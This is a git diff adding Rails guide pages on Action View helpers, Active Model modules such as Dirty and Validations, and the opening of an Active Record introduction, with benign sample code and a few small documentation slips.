+You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if +ActionController::Base.perform_caching+ is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+<ruby>
+javascript_include_tag :all, :cache => true # =>
+  <script src="/javascripts/all.js"></script>
+</ruby>
+
+h5. javascript_path
+
+Computes the path to a JavaScript asset in the +app/assets/javascripts+ directory. If the source filename has no extension, +.js+ will be appended. Full paths from the document root will be passed through. Used internally by +javascript_include_tag+ to build the script path.
+
+<ruby>
+javascript_path "common" # => /assets/common.js
+</ruby>
+
+h5. javascript_url
+
+Computes the url to a JavaScript asset in the +app/assets/javascripts+ directory. This will call +javascript_path+ internally and merge with your current host or your asset host.
+
+<ruby>
+javascript_url "common" # => http://www.example.com/assets/common.js
+</ruby>
+
+h5. stylesheet_link_tag
+
+Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, +.css+ will be appended automatically.
+
+<ruby>
+stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />
+</ruby>
+
+You can also include all styles in the stylesheet directory using :all as the source:
+
+<ruby>
+stylesheet_link_tag :all
+</ruby>
+
+You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+<ruby>
+stylesheet_link_tag :all, :cache => true
+# => <link href="/assets/all.css" media="screen" rel="stylesheet" />
+</ruby>
+
+h5. stylesheet_path
+
+Computes the path to a stylesheet asset in the +app/assets/stylesheets+ directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
+
+<ruby>
+stylesheet_path "application" # => /assets/application.css
+</ruby>
+
+h5. stylesheet_url
+
+Computes the url to a stylesheet asset in the +app/assets/stylesheets+ directory. This will call +stylesheet_path+ internally and merge with your current host or your asset host.
+
+<ruby>
+stylesheet_url "application" # => http://www.example.com/assets/application.css
+</ruby>
+
+h4. AtomFeedHelper
+
+h5. atom_feed
+
+This helper makes building an Atom feed easy. Here's a full usage example:
+
+*config/routes.rb*
+
+<ruby>
+resources :posts
+</ruby>
+
+*app/controllers/posts_controller.rb*
+
+<ruby>
+def index
+  @posts = Post.all
+
+  respond_to do |format|
+    format.html
+    format.atom
+  end
+end
+</ruby>
+
+*app/views/posts/index.atom.builder*
+
+<ruby>
+atom_feed do |feed|
+  feed.title("Posts Index")
+  feed.updated((@posts.first.created_at))
+
+  @posts.each do |post|
+    feed.entry(post) do |entry|
+      entry.title(post.title)
+      entry.content(post.body, :type => 'html')
+
+      entry.author do |author|
+        author.name(post.author_name)
+      end
+    end
+  end
+end
+</ruby>
+
+h4. BenchmarkHelper
+
+h5. benchmark
+
+Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
+
+<ruby>
+<% benchmark "Process data files" do %>
+  <%= expensive_files_operation %>
+<% end %>
+</ruby>
+
+This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
+
+h4. CacheHelper
+
+h5. cache
+
+A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See +ActionController::Caching::Fragments+ for more information.
+
+<ruby>
+<% cache do %>
+  <%= render "shared/footer" %>
+<% end %>
+</ruby>
+
+h4. CaptureHelper
+
+h5. capture
+
+The +capture+ method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
+
+<ruby>
+<% @greeting = capture do %>
+  <p>Welcome! The date and time is <%= Time.now %></p>
+<% end %>
+</ruby>
+
+The captured variable can then be used anywhere else.
+
+<ruby>
+<html>
+  <head>
+    <title>Welcome!</title>
+  </head>
+  <body>
+    <%= @greeting %>
+  </body>
+</html>
+</ruby>
+
+h5. content_for
+
+Calling +content_for+ stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to +yield+.
+
+For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use +content_for+ to include this JavaScript on our special page without fattening up the rest of the site.
+
+*app/views/layouts/application.html.erb*
+
+<ruby>
+<html>
+  <head>
+    <title>Welcome!</title>
+    <%= yield :special_script %>
+  </head>
+  <body>
+    <p>Welcome! The date and time is <%= Time.now %></p>
+  </body>
+</html>
+</ruby>
+
+*app/views/posts/special.html.erb*
+
+<ruby>
+<p>This is a special page.</p>
+
+<% content_for :special_script do %>
+  <script>alert('Hello!')</script>
+<% end %>
+</ruby>
+
+h4. DateHelper
+
+h5. date_select
+
+Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
+
+<ruby>
+date_select("post", "published_on")
+</ruby>
+
+h5. datetime_select
+
+Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
+
+<ruby>
+datetime_select("post", "published_on")
+</ruby>
+
+h5. distance_of_time_in_words
+
+Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set +include_seconds+ to true if you want more detailed approximations.
+
+<ruby>
+distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # => less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, :include_seconds => true)  # => less than 20 seconds
+</ruby>
+
+h5. select_date
+
+Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+ provided.
+
+<ruby>
+# Generates a date select that defaults to the date provided (six days after today)
+select_date(Time.today + 6.days)
+
+# Generates a date select that defaults to today (no specified date)
+select_date()
+</ruby>
+
+h5. select_datetime
+
+Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the +datetime+ provided.
+
+<ruby>
+# Generates a datetime select that defaults to the datetime provided (four days after today)
+select_datetime(Time.now + 4.days)
+
+# Generates a datetime select that defaults to today (no specified datetime)
+select_datetime()
+</ruby>
+
+h5. select_day
+
+Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+
+<ruby>
+# Generates a select field for days that defaults to the day for the date provided
+select_day(Time.today + 2.days)
+
+# Generates a select field for days that defaults to the number given
+select_day(5)
+</ruby>
+
+h5. select_hour
+
+Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+
+<ruby>
+# Generates a select field for minutes that defaults to the minutes for the time provided
+select_minute(Time.now + 6.hours)
+</ruby>
+
+h5. select_minute
+
+Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+
+<ruby>
+# Generates a select field for minutes that defaults to the minutes for the time provided.
+select_minute(Time.now + 6.hours)
+</ruby>
+
+h5. select_month
+
+Returns a select tag with options for each of the months January through December with the current month selected.
+
+<ruby>
+# Generates a select field for months that defaults to the current month
+select_month(Date.today)
+</ruby>
+
+h5. select_second
+
+Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+
+<ruby>
+# Generates a select field for seconds that defaults to the seconds for the time provided
+select_second(Time.now + 16.minutes)
+</ruby>
+
+h5. select_time
+
+Returns a set of html select-tags (one for hour and minute).
+
+<ruby>
+# Generates a time select that defaults to the time provided
+select_time(Time.now)
+</ruby>
+
+h5. select_year
+
+Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
+
+<ruby>
+# Generates a select field for five years on either side of Date.today that defaults to the current year
+select_year(Date.today)
+
+# Generates a select field from 1900 to 2009 that defaults to the current year
+select_year(Date.today, :start_year => 1900, :end_year => 2009)
+</ruby>
+
+h5. time_ago_in_words
+
+Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+.
+
+<ruby>
+time_ago_in_words(3.minutes.from_now)       # => 3 minutes
+</ruby>
+
+h5. time_select
+
+Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
+
+<ruby>
+# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
+time_select("order", "submitted")
+</ruby>
+
+h4. DebugHelper
+
+Returns a +pre+ tag that has object dumped by YAML. This creates a very readable way to inspect an object.
+
+<ruby>
+my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
+debug(my_hash)
+</ruby>
+
+<html>
+<pre class='debug_dump'>---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+</html>
+
+h4. FormHelper
+
+Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.
+
+There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
+
+The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
+
+<ruby>
+# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
+<%= form_for @person, :url => { :action => "create" } do |f| %>
+  <%= f.text_field :first_name %>
+  <%= f.text_field :last_name %>
+  <%= submit_tag 'Create' %>
+<% end %>
+</ruby>
+
+The HTML generated for this would be:
+
+<html>
+<form action="/persons/create" method="post">
+  <input id="person_first_name" name="person[first_name]" type="text" />
+  <input id="person_last_name" name="person[last_name]" type="text" />
+  <input name="commit" type="submit" value="Create" />
+</form>
+</html>
+
+The params object created when this form is submitted would look like:
+
+<ruby>
+{"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
+</ruby>
+
+The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
+
+h5. check_box
+
+Returns a checkbox tag tailored for accessing a specified attribute.
+
+<ruby>
+# Let's say that @post.validated? is 1:
+check_box("post", "validated")
+# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
+#    <input name="post[validated]" type="hidden" value="0" />
+</ruby>
+
+h5. fields_for
+
+Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
+
+<ruby>
+<%= form_for @person, :url => { :action => "update" } do |person_form| %>
+  First name: <%= person_form.text_field :first_name %>
+  Last name : <%= person_form.text_field :last_name %>
+
+  <%= fields_for @person.permission do |permission_fields| %>
+    Admin?  : <%= permission_fields.check_box :admin %>
+  <% end %>
+<% end %>
+</ruby>
+
+h5. file_field
+
+Returns a file upload input tag tailored for accessing a specified attribute.
+
+<ruby>
+file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+</ruby>
+
+h5. form_for
+
+Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
+
+<ruby>
+<%= form_for @post do |f| %>
+  <%= f.label :title, 'Title' %>:
+  <%= f.text_field :title %><br />
+  <%= f.label :body, 'Body' %>:
+  <%= f.text_area :body %><br />
+<% end %>
+</ruby>
+
+h5. hidden_field
+
+Returns a hidden input tag tailored for accessing a specified attribute.
+
+<ruby>
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+</ruby>
+
+h5. label
+
+Returns a label tag tailored for labelling an input field for a specified attribute.
+
+<ruby>
+label(:post, :title)
+# => <label for="post_title">Title</label>
+</ruby>
+
+h5. password_field
+
+Returns an input tag of the "password" type tailored for accessing a specified attribute.
+
+<ruby>
+password_field(:login, :pass)
+# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
+</ruby>
+
+h5. radio_button
+
+Returns a radio button tag for accessing a specified attribute.
+
+<ruby>
+# Let's say that @post.category returns "rails":
+radio_button("post", "category", "rails")
+radio_button("post", "category", "java")
+# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+#    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+</ruby>
+
+h5. text_area
+
+Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
+
+<ruby>
+text_area(:comment, :text, :size => "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+#      #{@comment.text}
+#    </textarea>
+</ruby>
+
+h5. text_field
+
+Returns an input tag of the "text" type tailored for accessing a specified attribute.
+
+<ruby>
+text_field(:post, :title)
+# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
+</ruby>
+
+h4. FormOptionsHelper
+
+Provides a number of methods for turning different kinds of containers into a set of option tags.
+
+h5. collection_select
+
+Returns +select+ and +option+ tags for the collection of existing return values of +method+ for +object+'s class.
+
+Example object structure for use with this method:
+
+<ruby>
+class Post < ActiveRecord::Base
+  belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+  has_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+</ruby>
+
+Sample usage (selecting the associated Author for an instance of Post, +@post+):
+
+<ruby>
+collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true})
+</ruby>
+
+If <tt>@post.author_id</tt> is 1, this would return:
+
+<html>
+<select name="post[author_id]">
+  <option value="">Please select</option>
+  <option value="1" selected="selected">D. Heinemeier Hansson</option>
+  <option value="2">D. Thomas</option>
+  <option value="3">M. Clark</option>
+</select>
+</html>
+
+h5. collection_radio_buttons
+
+Returns +radio_button+ tags for the collection of existing return values of +method+ for +object+'s class.
+
+Example object structure for use with this method:
+
+<ruby>
+class Post < ActiveRecord::Base
+  belongs_to :author
+end
+
+class Author < ActiveRecord::Base
+  has_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+</ruby>
+
+Sample usage (selecting the associated Author for an instance of Post, +@post+):
+
+<ruby>
+collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+</ruby>
+
+If <tt>@post.author_id</tt> is 1, this would return:
+
+<html>
+<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+<label for="post_author_id_1">D. Heinemeier Hansson</label>
+<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+<label for="post_author_id_2">D. Thomas</label>
+<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+<label for="post_author_id_3">M. Clark</label>
+</html>
+
+h5. collection_check_boxes
+
+Returns +check_box+ tags for the collection of existing return values of +method+ for +object+'s class.
+
+Example object structure for use with this method:
+
+<ruby>
+class Post < ActiveRecord::Base
+  has_and_belongs_to_many :author
+end
+
+class Author < ActiveRecord::Base
+  has_and_belongs_to_many :posts
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+</ruby>
+
+Sample usage (selecting the associated Authors for an instance of Post, +@post+):
+
+<ruby>
+collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+</ruby>
+
+If <tt>@post.author_ids</tt> is [1], this would return:
+
+<html>
+<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="post_author_ids_1">D. Heinemeier Hansson</label>
+<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+<label for="post_author_ids_2">D. Thomas</label>
+<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+<label for="post_author_ids_3">M. Clark</label>
+<input name="post[author_ids][]" type="hidden" value="" />
+</html>
+
+h5. country_options_for_select
+
+Returns a string of option tags for pretty much any country in the world.
+
+h5. country_select
+
+Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+
+h5. option_groups_from_collection_for_select
+
+Returns a string of +option+ tags, like +options_from_collection_for_select+, but groups them by +optgroup+ tags based on the object relationships of the arguments.
+
+Example object structure for use with this method:
+
+<ruby>
+class Continent < ActiveRecord::Base
+  has_many :countries
+  # attribs: id, name
+end
+
+class Country < ActiveRecord::Base
+  belongs_to :continent
+  # attribs: id, name, continent_id
+end
+</ruby>
+
+Sample usage:
+
+<ruby>
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+</ruby>
+
+Possible output:
+
+<html>
+<optgroup label="Africa">
+  <option value="1">Egypt</option>
+  <option value="4">Rwanda</option>
+  ...
+</optgroup>
+<optgroup label="Asia">
+  <option value="3" selected="selected">China</option>
+  <option value="12">India</option>
+  <option value="5">Japan</option>
+  ...
+</optgroup>
+</html>
+
+Note: Only the +optgroup+ and +option+ tags are returned, so you still have to wrap the output in an appropriate +select+ tag.
+
+h5. options_for_select
+
+Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
+
+<ruby>
+options_for_select([ "VISA", "MasterCard" ])
+# => <option>VISA</option> <option>MasterCard</option>
+</ruby>
+
+Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
+
+h5. options_from_collection_for_select
+
+Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
+
+<ruby>
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+</ruby>
+
+For example, imagine a loop iterating over each person in @project.people to generate an input tag:
+
+<ruby>
+options_from_collection_for_select(@project.people, "id", "name")
+# => <option value="#{person.id}">#{person.name}</option>
+</ruby>
+
+Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
+
+h5. select
+
+Create a select tag and a series of contained option tags for the provided object and method.
+
+Example:
+
+<ruby>
+select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true })
+</ruby>
+
+If <tt>@post.person_id</tt> is 1, this would become:
+
+<html>
+<select name="post[person_id]">
+  <option value=""></option>
+  <option value="1" selected="selected">David</option>
+  <option value="2">Sam</option>
+  <option value="3">Tobias</option>
+</select>
+</html>
+
+h5. time_zone_options_for_select
+
+Returns a string of option tags for pretty much any time zone in the world.
+
+h5. time_zone_select
+
+Return select and option tags for the given object and method, using +time_zone_options_for_select+ to generate the list of option tags.
+
+<ruby>
+time_zone_select( "user", "time_zone")
+</ruby>
+
+h4. FormTagHelper
+
+Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+
+h5. check_box_tag
+
+Creates a check box form input tag.
+
+<ruby>
+check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+</ruby>
+
+h5. field_set_tag
+
+Creates a field set for grouping HTML form elements.
+
+<ruby>
+<%= field_set_tag do %>
+  <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+</ruby>
+
+h5. file_field_tag
+
+Creates a file upload field.
+
+Prior to Rails 3.1, if you are using file uploads, then you will need to set the multipart option for the form tag. Rails 3.1+ does this automatically.
+
+<ruby>
+<%= form_tag { :action => "post" }, { :multipart => true } do %>
+  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+  <%= submit_tag %>
+<% end %>
+</ruby>
+
+Example output:
+
+<ruby>
+file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+</ruby>
+
+h5. form_tag
+
+Starts a form tag that points the action to an url configured with +url_for_options+ just like +ActionController::Base#url_for+.
+
+<ruby>
+<%= form_tag '/posts' do %>
+  <div><%= submit_tag 'Save' %></div>
+<% end %>
+# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+</ruby>
+
+h5. hidden_field_tag
+
+Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
+
+<ruby>
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+</ruby>
+
+h5. image_submit_tag
+
+Displays an image which when clicked will submit the form.
+
+<ruby>
+image_submit_tag("login.png")
+# => <input src="/images/login.png" type="image" />
+</ruby>
+
+h5. label_tag
+
+Creates a label field.
+
+<ruby>
+label_tag 'name'
+# => <label for="name">Name</label>
+</ruby>
+
+h5. password_field_tag
+
+Creates a password field, a masked text field that will hide the users input behind a mask character.
+
+<ruby>
+password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+</ruby>
+
+h5. radio_button_tag
+
+Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
+
+<ruby>
+radio_button_tag 'gender', 'male'
+# => <input id="gender_male" name="gender" type="radio" value="male" />
+</ruby>
+
+h5. select_tag
+
+Creates a dropdown selection box.
+
+<ruby>
+select_tag "people", "<option>David</option>"
+# => <select id="people" name="people"><option>David</option></select>
+</ruby>
+
+h5. submit_tag
+
+Creates a submit button with the text provided as the caption.
+
+<ruby>
+submit_tag "Publish this post"
+# => <input name="commit" type="submit" value="Publish this post" />
+</ruby>
+
+h5. text_area_tag
+
+Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
+
+<ruby>
+text_area_tag 'post'
+# => <textarea id="post" name="post"></textarea>
+</ruby>
+
+h5. text_field_tag
+
+Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
+
+<ruby>
+text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+</ruby>
+
+h4. JavaScriptHelper
+
+Provides functionality for working with JavaScript in your views.
+
+h5. button_to_function
+
+Returns a button that'll trigger a JavaScript function using the onclick handler. Examples:
+
+<ruby>
+button_to_function "Greeting", "alert('Hello world!')"
+button_to_function "Delete", "if (confirm('Really?')) do_delete()"
+button_to_function "Details" do |page|
+  page[:details].visual_effect :toggle_slide
+end
+</ruby>
+
+h5. define_javascript_functions
+
+Includes the Action Pack JavaScript libraries inside a single +script+ tag.
+
+h5. escape_javascript
+
+Escape carrier returns and single and double quotes for JavaScript segments.
+
+h5. javascript_tag
+
+Returns a JavaScript tag wrapping the provided code.
+
+<ruby>
+javascript_tag "alert('All is good')"
+</ruby>
+
+<html>
+<script>
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+</html>
+
+h5. link_to_function
+
+Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.
+
+<ruby>
+link_to_function "Greeting", "alert('Hello world!')"
+# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
+</ruby>
+
+h4. NumberHelper
+
+Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
+
+h5. number_to_currency
+
+Formats a number into a currency string (e.g., $13.65).
+
+<ruby>
+number_to_currency(1234567890.50) # => $1,234,567,890.50
+</ruby>
+
+h5. number_to_human_size
+
+Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
+
+<ruby>
+number_to_human_size(1234)          # => 1.2 KB
+number_to_human_size(1234567)       # => 1.2 MB
+</ruby>
+
+h5. number_to_percentage
+
+Formats a number as a percentage string.
+
+<ruby>
+number_to_percentage(100, :precision => 0)        # => 100%
+</ruby>
+
+h5. number_to_phone
+
+Formats a number into a US phone number.
+
+<ruby>
+number_to_phone(1235551234) # => 123-555-1234
+</ruby>
+
+h5. number_with_delimiter
+
+Formats a number with grouped thousands using a delimiter.
+
+<ruby>
+number_with_delimiter(12345678) # => 12,345,678
+</ruby>
+
+h5. number_with_precision
+
+Formats a number with the specified level of +precision+, which defaults to 3.
+
+<ruby>
+number_with_precision(111.2345)     # => 111.235
+number_with_precision(111.2345, 2)  # => 111.23
+</ruby>
+
+h3. Localized Views
+
+Action View has the ability render different templates depending on the current locale.
+
+For example, suppose you have a Posts controller with a show action. By default, calling this action will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :de+, then +app/views/posts/show.de.html.erb+ will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+
+You can use the same technique to localize the rescue files in your public directory. For example, setting +I18n.locale = :de+ and creating +public/500.de.html+ and +public/404.de.html+ would allow you to have localized rescue pages.
+
+Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to +app/controllers/application.rb+:
+
+<ruby>
+before_filter :set_expert_locale
+
+def set_expert_locale
+  I18n.locale = :expert if current_user.expert?
+end
+</ruby>
+
+Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users.
+
+You can read more about the Rails Internationalization (I18n) API "here":i18n.html.
diff --git a/guides/source/active_model_basics.textile b/guides/source/active_model_basics.textile
new file mode 100644
index 0000000000..2c30ddb84c
--- /dev/null
+++ b/guides/source/active_model_basics.textile
@@ -0,0 +1,204 @@
+h2. Active Model Basics
+
+This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework.
+
+endprologue.
+
+WARNING. This guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
+
+h3. Introduction
+
+Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below.  
+
+h4. AttributeMethods
+
+The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
+
+<ruby>
+class Person
+  include ActiveModel::AttributeMethods
+
+  attribute_method_prefix 'reset_'
+  attribute_method_suffix '_highest?'
+  define_attribute_methods 'age'
+
+  attr_accessor :age
+
+private
+  def reset_attribute(attribute)
+    send("#{attribute}=", 0)
+  end
+
+  def attribute_highest?(attribute)
+    send(attribute) > 100 ? true : false
+  end
+  
+end
+
+person = Person.new
+person.age = 110
+person.age_highest?  # true
+person.reset_age     # 0
+person.age_highest?  # false 
+
+</ruby>
+
+h4. Callbacks
+
+Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
+
+<ruby>
+class Person
+  extend ActiveModel::Callbacks
+
+  define_model_callbacks :update
+
+  before_update :reset_me
+
+  def update
+    run_callbacks(:update) do
+      # This will call when we are trying to call update on object.
+    end
+  end
+
+  def reset_me
+    # This method will call when you are calling update on object as a before_update callback as defined.
+  end
+end
+</ruby>
+
+h4. Conversion
+
+If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class.
+
+<ruby>
+class Person
+  include ActiveModel::Conversion
+
+  def persisted?
+    false
+  end
+
+  def id
+    nil
+  end
+end
+
+person = Person.new
+person.to_model == person  #=> true
+person.to_key              #=> nil
+person.to_param            #=> nil
+</ruby>
+
+h4. Dirty
+
+An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes first_name and last_name
+
+<ruby>
+require 'active_model'
+
+class Person
+  include ActiveModel::Dirty
+  define_attribute_methods :first_name, :last_name
+
+  def first_name
+    @first_name
+  end
+
+  def first_name=(value)
+    first_name_will_change!
+    @first_name = value
+  end
+
+  def last_name
+    @last_name
+  end
+
+  def last_name=(value)
+    last_name_will_change!
+    @last_name = value
+  end
+
+  def save
+    @previously_changed = changes
+  end
+
+end
+</ruby>
+
+h5. Querying object directly for its list of all changed attributes.
+
+<ruby>
+person = Person.new
+person.first_name = "First Name"
+
+person.first_name #=> "First Name"
+person.first_name = "First Name Changed"
+
+person.changed? #=> true
+
+#returns an list of fields arry which all has been changed before saved.
+person.changed #=> ["first_name"]
+
+#returns a hash of the fields that have changed with their original values.
+person.changed_attributes #=> {"first_name" => "First Name Changed"}
+
+#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
+person.changes #=> {"first_name" => ["First Name","First Name Changed"]}
+</ruby>
+
+h5. Attribute based accessor methods
+
+Track whether the particular attribute has been changed or not.
+
+<ruby>
+#attr_name_changed?
+person.first_name #=> "First Name"
+
+#assign some other value to first_name attribute
+person.first_name = "First Name 1"
+
+person.first_name_changed? #=> true
+</ruby>
+
+Track what was the previous value of the attribute.
+
+<ruby>
+#attr_name_was accessor
+person.first_name_was  #=> "First Name"
+</ruby>
+
+Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.
+
+<ruby>
+#attr_name_change
+person.first_name_change #=> ["First Name", "First Name 1"]
+person.last_name_change #=> nil
+</ruby>
+
+h4. Validations
+
+Validations module adds the ability to class objects to validate them in Active Record style.
+
+<ruby>
+class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name, :email, :token
+  
+  validates :name, :presence => true
+  validates_format_of :email, :with => /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i  
+  validates! :token, :presence => true
+  
+end
+
+person = Person.new(:token => "2b1f325")
+person.valid?                        #=> false
+person.name  = 'vishnu'
+person.email  = 'me'
+person.valid?                        #=> false
+person.email = 'me@vishnuatrai.com'
+person.valid?                        #=> true
+person.token = nil
+person.valid?                        #=> raises ActiveModel::StrictValidationFailed
+</ruby>
diff --git a/guides/source/active_record_basics.textile b/guides/source/active_record_basics.textile
new file mode 100644
index 0000000000..487f8b70f9
--- /dev/null
+++ b/guides/source/active_record_basics.textile
@@ -0,0 +1,218 @@
+h2. Active Record Basics
+
+This guide is an introduction to Active Record. After reading this guide we hope that you'll learn:
+
+* What Object Relational Mapping and Active Record are and how they are used in Rails
+* How Active Record fits into the Model-View-Controller paradigm
+* How to use Active Record models to manipulate data stored in a relational database
+* Active Record schema naming conventions
+* The concepts of database migrations, validations and callbacks
+
+endprologue.
+
+h3. What is Active Record?
+
+Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
+
+h4. The Active Record Pattern
+
+Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.
+
+h4. Object Relational Mapping
+
